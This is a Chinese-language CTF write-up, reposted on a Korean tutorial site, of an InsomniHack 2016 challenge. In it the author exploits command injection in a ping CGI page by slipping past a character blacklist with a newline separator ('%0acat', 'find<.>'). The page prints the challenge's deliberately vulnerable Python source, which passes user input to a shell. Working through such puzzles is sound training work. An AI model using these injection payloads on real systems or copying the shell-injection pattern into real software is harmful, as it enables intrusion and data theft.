> 웹 프론트엔드 > HTML 튜토리얼 > InsomniHack 2016 CTF teaser – Bring the noise Crypto 200 WriteUp_html/css_WEB-ITnose

InsomniHack 2016 CTF teaser – Bring the noise Crypto 200 WriteUp_html/css_WEB-ITnose

WBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWB
풀어 주다: 2016-06-21 08:57:22
원래의
1589명이 탐색했습니다.

帮小伙伴解个题,想起博客很久没更新了,顺便写上来。

给了个网址,提示说按照正常思维去拿flag.......(瞬间吐槽2333333玩这个谁会自己按照正常思维啊...)

给出网页可以允许ping其他主机并显示结果。

这个阶段的话就相当于随便猜了,八九不离十是远程代码执行。然后开始常见注入测试,但是发现大部分都被过滤了。

还好换行符没被ban,unix中还能用作分隔符。

果然可以列出当前目录....然后就开始吐槽制作方的无脑.....(等下你就知道了)

然后发现这个页面同时支持GET/POST请求,写了个注入语句读取一下这个cgi的内容:

?dest=%0acat

Python

#!/usr/bin/env python import cgi, subprocess, os headers = ["mod_cassette_is_back/0.1","format-me-i-im-famous","dirbuster.will.not.help.you","solve_me_already"] print "X-Powered-By: %s" % headers[os.getpid()%4]print "Content-type: text/html"print print """<html> <head><title>Can I haz Smart Cat ???</title></head> <body><h3> Smart Cat debugging interface</h3>""" blacklist = " $;&|({`\t"results = ""form = cgi.FieldStorage()dest = form.getvalue("dest", "127.0.0.1")for badchar in blacklist:if badchar in dest:results = "Bad character %s in dest" % badcharbreak if "%n" in dest:results = "Segmentation fault" if not results:try:results = subprocess.check_output("ping -c 1 "+dest, shell=True)except:results = "Error running " + "ping -c 1 "+dest  print """ <form method="post" action="index.cgi">Ping destination: <input type="text" name="dest"/></form> Ping results:<pre class="brush:php;toolbar:false">%s
로그인 후 복사
InsomniHack 2016 CTF teaser – Bring the noise Crypto 200 WriteUp_html/css_WEB-ITnose """ % cgi.escape(results)
#!/usr/bin/env python import cgi, subprocess, os headers = ["mod_cassette_is_back/0.1","format-me-i-im-famous","dirbuster.will.not.help.you","solve_me_already"] print "X-Powered-By: %s" % headers[os.getpid()%4]print "Content-type: text/html"print print """<html> <head><title>Can I haz Smart Cat ???</title></head> <body><h3> Smart Cat debugging interface</h3>""" blacklist = " $;&|({`\t"results = ""form = cgi.FieldStorage()dest = form.getvalue("dest", "127.0.0.1")for badcharin blacklist:if badcharin dest:results = "Bad character %s in dest" % badcharbreak if "%n" in dest:results = "Segmentation fault" if not results:try:results = subprocess.check_output("ping -c 1 "+dest, shell=True)except:results = "Error running " + "ping -c 1 "+dest  print """ <form method="post" action="index.cgi">Ping destination: <input type="text" name="dest"/></form> Ping results:<pre class="brush:php;toolbar:false">%s
로그인 후 복사
InsomniHack 2016 CTF teaser – Bring the noise Crypto 200 WriteUp_html/css_WEB-ITnose """ % cgi.escape(results)

好吧原来是个python脚本....

然后发现了不能ls -R的原因,因为TAB和空格被过滤了....

不过又没人说不能用别的办法啊,于是想到某个forum里的大神提到的新方法: find<.>

制作商你满满的心机啊.......诅咒你....

然后复制粘贴,拿到flag文件,尼玛为毛是个猫.......233333333333还有这个flag是什么鬼啊

원천:php.cn
본 웹사이트의 성명
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.
인기 튜토리얼
더>
최신 다운로드
더>
웹 효과
웹사이트 소스 코드
웹사이트 자료
프론트엔드 템플릿